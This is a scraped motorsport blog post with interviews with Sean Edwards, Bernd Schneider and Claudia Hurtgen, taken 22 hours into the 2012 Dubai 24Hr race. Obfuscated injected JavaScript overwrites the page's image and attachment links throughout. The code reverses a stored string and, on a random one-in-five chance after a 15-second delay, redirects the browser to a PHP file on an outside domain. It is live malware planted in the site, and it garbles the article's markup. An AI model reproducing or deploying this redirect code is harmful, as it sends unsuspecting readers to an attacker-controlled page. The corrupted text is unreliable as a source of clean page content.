$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/dubai-24hr-twenty-two-hours-in-with/attachment/dubai-24hrs-2012-after-the-start-11/” rel=”attachment wp-att-17413″>
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/01/Dubai-24hrs-2012-after-the-start-11.jpg” alt=”” width=”728″ height=”484″ />
Four hours of sleep is a veritable luxury at the Dubai 24Hr. The weary-eyed members of the crankandpiston team are back at the Autodrome after a quick pitstop, a line of empty coffee cups and Red Bull cans littering the temporary office. Most of the drivers and mechanics walking zombie-like around the paddock have had twenty minutes, if they’re lucky.
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/01/Dubai-24hrs-2012-after-the-start-12.jpg”>$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/01/Dubai-24hrs-2012-after-the-start-12-398×600.jpg” alt=”” width=”398″ height=”600″ />
Twenty-two hours in and with over 500 laps competed, just over two minutes separates the top three, with the fourth only a handful of laps further back. A pittance. The podium is far from confirmed.
Between yawns, crankandpiston took this opportunity to speak with the drivers still in contention for victory.
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/01/Dubai-24hrs-2012-interviews-4.jpg”>$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/01/Dubai-24hrs-2012-interviews-4-398×600.jpg” alt=”” width=”398″ height=”600″ />
Sean Edwards
#3 Team Abu Dhabi Black Falcons
I’m pretty knackered! It’s been a really tough night because Khaled [Al Qubaisi] hasn’t been feeling well. So, me, Jeroen [Bleekemolen] and Thomas [Jager] had to take over the stint. Because you can’t double stint here, you’ve got a maximum of two hours. So when you get out of the car, you’ve only got an hour and fifteen minutes before you get back in the car again!
So we haven’t slept. Any of us. And I’ve never not slept at a 24Hr race before. Plus you have to keep the last five, ten per cent there in case something goes wrong. It’s been very stressful at times.
Yeah, it’s been a really crazy race. Definitely the toughest 24hr race of my life! And it’s so much about strategy, and playing the game and conserving fuel. There’s so many more components to think about. Our strategy looks like it’s paying off. But there’s still two hours to go, so we’re not out the woods yet.
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/dubai-24hr-twenty-two-hours-in-with/attachment/dubai-24hrs-2012-interviews-3/” rel=”attachment wp-att-17409″>$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/01/Dubai-24hrs-2012-interviews-3.jpg” alt=”” width=”728″ height=”484″ />
Bernd Schneider
#6 and #16 Heico Motorsport
The race is going well so far. We’re really happy. There’s been some small problems, but we’ve managed to keep going. The Black Falcon car is very consistent, and they’ve had no problems so far. Getting them will be hard, but finishing on the podium will be perfect.
I’ve doubled up with both Heico cars, so I’ve had quite a lot of mileage in this race! But I enjoy it. It was not too hot, and at night, the car and the light were both very good. I really enjoyed every hour in the car!
For me, after my third stint, my neck and muscles felt really stiff. But it’s better now. Now I’m just a little tired because I did not sleep. But no, it’ll feel great to get back in. It’s still a long time to go, and we’ll just wait and see.
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/dubai-24hr-twenty-two-hours-in-with/attachment/dubai-24hrs-2012-interviews-1/” rel=”attachment wp-att-17410″>$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/01/Dubai-24hrs-2012-interviews-1.jpg” alt=”” width=”728″ height=”484″ />
Claudia Hurtgen
#1 Saudi Falcons by Schubert Motorsport
The last few hours have not been too good for us. We had a problem in the pits with the gas pedal which cost us eight minutes, so fighting for victory is difficult. But that’s the only problem we’ve had!
There was little to choose between the top three cars during the night and also in the morning hours. Doing a 24hr race when three cars can win, and the battle is just across one minute is a great event for the teams, the drivers, for everybody.
The first laps were super, because there were so many GT3 cars and it’s very nice to fight with the same category, especially when there’s twenty-three in the same category. This year, there are so many fast cars, traffic has not been so much of a problem. At the beginning of the night, though, I had some big problems with traffic. I’m not sure if everyone drove in night practice!
We’ll be back soon to bring you the final results of the Dubai 24Hr. For now, we’re off for a lie down.
Shots by Pete West
